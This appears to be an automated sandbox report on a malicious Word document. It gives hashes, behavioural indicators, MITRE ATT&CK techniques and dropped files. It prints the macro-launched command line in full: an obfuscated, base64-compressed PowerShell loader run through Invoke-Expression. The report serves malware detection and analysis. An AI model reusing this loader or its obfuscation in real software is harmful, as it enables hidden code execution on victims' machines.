5665523cf573835a86d39d1dd7f0f7ae886530cafc7d60e8a66767630869e19f

General

Target

F4_90-91_P845.doc
Size

76KB
MD5

8c31c4839471e1ee013296af2380ec89
SHA1

cf72c6d17e22d6b516229a57f9294b22333dcd67
SHA256

907054ec3ccab5aefc7ab082f70746b8861099f32f5622f549d35ae27b1ff2bf
SHA512

5e5cfc95b835816133f453ce10bd0ca9d8252187fa1c61981aa1fd24c66c489a3c85a13c89502614e6d7dc67b516938bfa0aa1117479210e29fbe2e05d0a0b31
SSDEEP

768:V7FLVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9OkDOsDPjEed72g:VZLocn1kp59gxBK85fBt+a9LdS

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4012	4336	CMD.exe	82

Blocklisted process makes network request 2 IoCs

flow	pid	Process
24	2692	powershell.exe
100	2692	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4336	WINWORD.EXE
4336	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2692	powershell.exe
2692	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2692	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4336	WINWORD.EXE
4336	WINWORD.EXE
4336	WINWORD.EXE
4336	WINWORD.EXE
4336	WINWORD.EXE
4336	WINWORD.EXE
4336	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4336 wrote to memory of 4012	4336	WINWORD.EXE	87
PID 4336 wrote to memory of 4012	4336	WINWORD.EXE	87
PID 4012 wrote to memory of 2692	4012	CMD.exe	89
PID 4012 wrote to memory of 2692	4012	CMD.exe	89

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\F4_90-91_P845.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4336
- C:\Windows\SYSTEM32\CMD.exe
  CMD cmD /c "Set vPn=(NeW-OBjeCT io.cOmPREsSIon.DEflaTeSTream( [sySTeM.iO.MEmoRystREaM] [sYSTeM.cOnvErt]::frOMbASE64sTRing( 'PZBBb8IwDIX/Sg+RAmIkO8DEiCohwZAKE5tY2TjskgaXZjRJlaaEDfHfl6Kxm/X8+dl+SKbbWIPvm+wLhItW4MgHZNNSgnYMbV/nMS6cq8aUeu8JV0EGW1lZA5E6N3Qtkwef/kwnf1TGC8mFBe7kkRNhFPWnQg2WgxtQS6743krRlK6xUFmzawRcSRXKEmo64i/vu+XoNiEKbsM9uTm1FMks9VORP6vVMGn+19aK1zXfAyka6rdPGzlQ6xSTt6qUroMnuMtQsplFcYSH94+YocXGxAj0cexAVT38iXttv4cJnACz3IQPRNFBs4WLpI7aILpnZ7/PKARGZsbr0vDdXJZwZe6i1rDLEn00B+gnwfSqsCz4HNhFcCeK8+XyCw=='),[sYStEM.io.cOMPRESSION.coMprESSionmoDE]::decompResS)^|%{NeW-OBjeCT Io.sTREamReADEr($_, [sySteM.tExt.ENcodINg]::aScIi) } ^| %{ $_.rEadTOENd( ) })^|inVOKe-EXpreSSioN&&POWerSHell ${9`QP} = [tyPE]( \"{3}{2}{1}{0}\" -F'eNt','NM','viro','En') ; ${eXeCUTiONcontexT}.\"I`NVo`kEcOMmanD\".(\"{0}{2}{1}\" -f 'invOkESC','PT','Ri' ).Invoke( ( ${9`qp}::( \"{4}{1}{3}{2}{5}{0}\" -f'E','EtEN','Ar','VIroNMENTv','G','iaBL' ).Invoke( 'VPN',( \"{0}{1}{2}\"-f'pr','o','CESs' ) ) ))"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POWerSHell ${9`QP} = [tyPE]( \"{3}{2}{1}{0}\" -F'eNt','NM','viro','En') ; ${eXeCUTiONcontexT}.\"I`NVo`kEcOMmanD\".(\"{0}{2}{1}\" -f 'invOkESC','PT','Ri' ).Invoke( ( ${9`qp}::( \"{4}{1}{3}{2}{5}{0}\" -f'E','EtEN','Ar','VIroNMENTv','G','iaBL' ).Invoke( 'VPN',( \"{0}{1}{2}\"-f'pr','o','CESs' ) ) ))
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\509.exe

Filesize
1KB

MD5
496b70443db69cb154912cab8f7bf479

SHA1
c3e04abefbe7d5575338166152ac43ae7d01e7a8

SHA256
c52e1df130549ee4ab09d0e8ef82cdfe93172d158eac61096665eb2460fc96f9

SHA512
83f2937cd8c690f26fb5ef4f5b233627d7e5511c536116de5779e5944faa7c4e5a93ce05b7d6dcf3e0179aab1b687e18dcf2645d1ea3d354c1d4e5aaf9e22b3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD8B68.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0p3bdny5.yor.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2692-50-0x000001A6E9810000-0x000001A6E9832000-memory.dmp

Filesize
136KB

Download
memory/4336-8-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-17-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-6-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-7-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-9-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-0-0x00007FFCA9E50000-0x00007FFCA9E60000-memory.dmp

Filesize
64KB

Download
memory/4336-12-0x00007FFCA7690000-0x00007FFCA76A0000-memory.dmp

Filesize
64KB

Download
memory/4336-11-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-10-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-14-0x00007FFCA7690000-0x00007FFCA76A0000-memory.dmp

Filesize
64KB

Download
memory/4336-16-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-15-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-13-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-20-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-21-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-19-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-18-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-5-0x00007FFCA9E50000-0x00007FFCA9E60000-memory.dmp

Filesize
64KB

Download
memory/4336-44-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-45-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-46-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-43-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-4-0x00007FFCE9E6D000-0x00007FFCE9E6E000-memory.dmp

Filesize
4KB

Download
memory/4336-3-0x00007FFCA9E50000-0x00007FFCA9E60000-memory.dmp

Filesize
64KB

Download
memory/4336-2-0x00007FFCA9E50000-0x00007FFCA9E60000-memory.dmp

Filesize
64KB

Download
memory/4336-479-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-543-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-544-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-1-0x00007FFCA9E50000-0x00007FFCA9E60000-memory.dmp

Filesize
64KB

Download
memory/4336-556-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download
memory/4336-577-0x00007FFCA9E50000-0x00007FFCA9E60000-memory.dmp

Filesize
64KB

Download
memory/4336-578-0x00007FFCA9E50000-0x00007FFCA9E60000-memory.dmp

Filesize
64KB

Download
memory/4336-576-0x00007FFCA9E50000-0x00007FFCA9E60000-memory.dmp

Filesize
64KB

Download
memory/4336-579-0x00007FFCA9E50000-0x00007FFCA9E60000-memory.dmp

Filesize
64KB

Download
memory/4336-580-0x00007FFCE9DD0000-0x00007FFCE9FC5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads